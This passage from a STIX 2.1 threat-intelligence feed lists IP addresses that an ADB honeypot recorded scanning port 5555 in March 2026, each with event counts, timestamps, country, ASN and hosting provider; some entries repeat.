      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.196.11.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T18:00:03.000Z",
      "valid_until": "2026-04-09T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-08T17:38:40.000Z",
          "last_seen": "2026-03-08T17:48:56.937Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CH"
          ],
          "asn": [
            "42624"
          ],
          "org": [
            "Global-Data System IT Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-08T18:23:12.000Z | last_seen=2026-03-08T18:28:12.343Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--d1bdf4fa-03c3-4425-84f1-b38adfffeec7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:00:02.000Z",
      "valid_until": "2026-04-09T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-08T18:23:12.000Z",
          "last_seen": "2026-03-08T18:28:12.343Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-08T19:51:30.000Z | last_seen=2026-03-08T20:02:16.421Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c6c2587-0ea4-4908-ae81-7a99057dc4ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.232.132.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T20:00:02.000Z",
      "valid_until": "2026-04-09T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-08T19:51:30.000Z",
          "last_seen": "2026-03-08T20:02:16.421Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T20:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-08T19:51:30.000Z | last_seen=2026-03-08T20:02:16.421Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3c6c2587-0ea4-4908-ae81-7a99057dc4ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.232.132.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T20:00:07.000Z",
      "valid_until": "2026-04-09T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-08T19:51:30.000Z",
          "last_seen": "2026-03-08T20:02:16.421Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-08T20:22:30.000Z | last_seen=2026-03-08T20:33:55.551Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--49a8e3fa-bdb4-4d42-93be-32d73086c8f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:00:03.000Z",
      "valid_until": "2026-04-09T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-08T20:22:30.000Z",
          "last_seen": "2026-03-08T20:33:55.551Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=70; ports=5555; cc=ES; asn=41608; asn_org=NextGenWebs, S.L.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=70 | first_seen=2026-03-08T20:01:15.000Z | last_seen=2026-03-08T20:12:27.645Z | ports=5555 | cc=ES | asn=41608 | org=NextGenWebs, S.L.",
      "id": "indicator--5fb6d65f-52d0-48a8-8e66-7c017a376244",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.170.172.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:00:03.000Z",
      "valid_until": "2026-04-09T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 70,
          "first_seen": "2026-03-08T20:01:15.000Z",
          "last_seen": "2026-03-08T20:12:27.645Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "41608"
          ],
          "org": [
            "NextGenWebs, S.L."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-08T20:35:50.000Z | last_seen=2026-03-08T20:46:23.062Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--137b29b5-e297-43ce-a988-6dca1b0e2c7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:00:03.000Z",
      "valid_until": "2026-04-09T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-08T20:35:50.000Z",
          "last_seen": "2026-03-08T20:46:23.062Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-08T20:22:30.000Z | last_seen=2026-03-08T20:33:55.551Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--49a8e3fa-bdb4-4d42-93be-32d73086c8f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:00:03.000Z",
      "valid_until": "2026-04-09T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-08T20:22:30.000Z",
          "last_seen": "2026-03-08T20:33:55.551Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=70; ports=5555; cc=ES; asn=41608; asn_org=NextGenWebs, S.L.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=70 | first_seen=2026-03-08T20:01:15.000Z | last_seen=2026-03-08T20:12:27.645Z | ports=5555 | cc=ES | asn=41608 | org=NextGenWebs, S.L.",
      "id": "indicator--5fb6d65f-52d0-48a8-8e66-7c017a376244",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.170.172.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:00:03.000Z",
      "valid_until": "2026-04-09T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 70,
          "first_seen": "2026-03-08T20:01:15.000Z",
          "last_seen": "2026-03-08T20:12:27.645Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "41608"
          ],
          "org": [
            "NextGenWebs, S.L."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=19 | first_seen=2026-03-08T20:35:50.000Z | last_seen=2026-03-08T20:46:23.062Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--137b29b5-e297-43ce-a988-6dca1b0e2c7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:00:03.000Z",
      "valid_until": "2026-04-09T21:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 19,
          "first_seen": "2026-03-08T20:35:50.000Z",
          "last_seen": "2026-03-08T20:46:23.062Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T21:31:10.000Z | last_seen=2026-03-08T21:32:19.135Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--b1dfbf52-b04f-4737-8d7b-4d855e85417b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T22:00:03.000Z",
      "valid_until": "2026-04-09T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T21:31:10.000Z",
          "last_seen": "2026-03-08T21:32:19.135Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T22:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T21:31:10.000Z | last_seen=2026-03-08T21:32:19.135Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--b1dfbf52-b04f-4737-8d7b-4d855e85417b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T22:00:03.000Z",
      "valid_until": "2026-04-09T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T21:31:10.000Z",
          "last_seen": "2026-03-08T21:32:19.135Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T00:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-08T23:11:56.291Z | last_seen=2026-03-25T04:27:25.106Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.105.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:00:04.000Z",
      "valid_until": "2026-04-10T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-08T23:11:56.291Z",
          "last_seen": "2026-03-25T04:27:25.106Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T00:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=AU; asn=63949; asn_org=Akamai Connected Cloud; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-08T23:11:56.291Z | last_seen=2026-03-25T04:27:25.106Z | ports=5555 | cc=AU | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--afbb2818-1215-4df4-bc60-2174992cc157",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.105.186.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T00:00:05.000Z",
      "valid_until": "2026-04-10T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-08T23:11:56.291Z",
          "last_seen": "2026-03-25T04:27:25.106Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AU"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-09T00:38:34.000Z | last_seen=2026-03-09T00:39:52.417Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--80a81e52-7c3d-4d97-ac2c-0fec7cf52961",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:00:03.000Z",
      "valid_until": "2026-04-10T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-09T00:38:34.000Z",
          "last_seen": "2026-03-09T00:39:52.417Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T01:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-09T00:38:34.000Z | last_seen=2026-03-09T00:39:52.417Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--80a81e52-7c3d-4d97-ac2c-0fec7cf52961",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T01:00:05.000Z",
      "valid_until": "2026-04-10T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-09T00:38:34.000Z",
          "last_seen": "2026-03-09T00:39:52.417Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-09T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-09T04:11:53.000Z | last_seen=2026-03-09T06:04:01.041Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--19294839-46ae-4362-a12e-44277ec9470d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '192.241.150.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T05:00:03.000Z",
      "valid_until": "2026-04-10T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-09T04:11:53.000Z",
          "last_seen": "2026-03-09T06:04:01.041Z",
          "ports": [
            "5555"
          ],
          "countries": [
